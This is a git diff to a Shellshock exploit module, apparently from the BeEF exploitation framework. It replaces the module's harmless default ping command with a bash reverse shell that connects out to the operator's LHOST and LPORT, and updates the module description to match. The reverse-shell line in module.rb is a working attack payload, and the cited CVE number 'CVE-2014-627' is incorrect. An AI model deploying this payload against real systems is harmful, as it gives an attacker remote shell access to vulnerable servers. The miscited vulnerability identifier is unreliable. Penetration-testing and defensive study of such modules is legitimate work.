diff --git a/modules/exploits/shell_shocked/config.yaml b/modules/exploits/shell_shocked/config.yaml index f19f4298b..df3edd907 100644 --- a/modules/exploits/shell_shocked/config.yaml +++ b/modules/exploits/shell_shocked/config.yaml @@ -9,6 +9,6 @@ beef: enable: true category: "Exploits" name: "Shell Shock" - description: "Attempt to use vulnerability CVE-2014-627 to execute arbitrary code" + description: "Attempt to use vulnerability CVE-2014-627 to execute arbitrary code. The default command attempts to get a reverse shell.
Note: Set the LHOST and LPORT." target: working: ["All"] diff --git a/modules/exploits/shell_shocked/module.rb b/modules/exploits/shell_shocked/module.rb index 4f884ad15..133ba7f52 100644 --- a/modules/exploits/shell_shocked/module.rb +++ b/modules/exploits/shell_shocked/module.rb @@ -6,10 +6,15 @@ class Shell_shocked < BeEF::Core::Command def self.options + configuration = BeEF::Core::Configuration.instance + lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host") + lhost = "LHOST" if lhost == "0.0.0.0" + payload = "/bin/bash -i >& /dev/tcp/#{lhost}/LPORT 0>&1" + return [ {'name' => 'Target', 'description' => 'Vulnerable cgi script path', 'ui_label' => 'Target', 'value' => 'http://127.0.0.1/cgi-bin/test.cgi'}, { 'name' => 'method', 'ui_label' => 'HTTP Method', 'value' => 'GET' }, - {'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => '/bin/ping -c 3 www.google.it'} + {'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => payload} ] end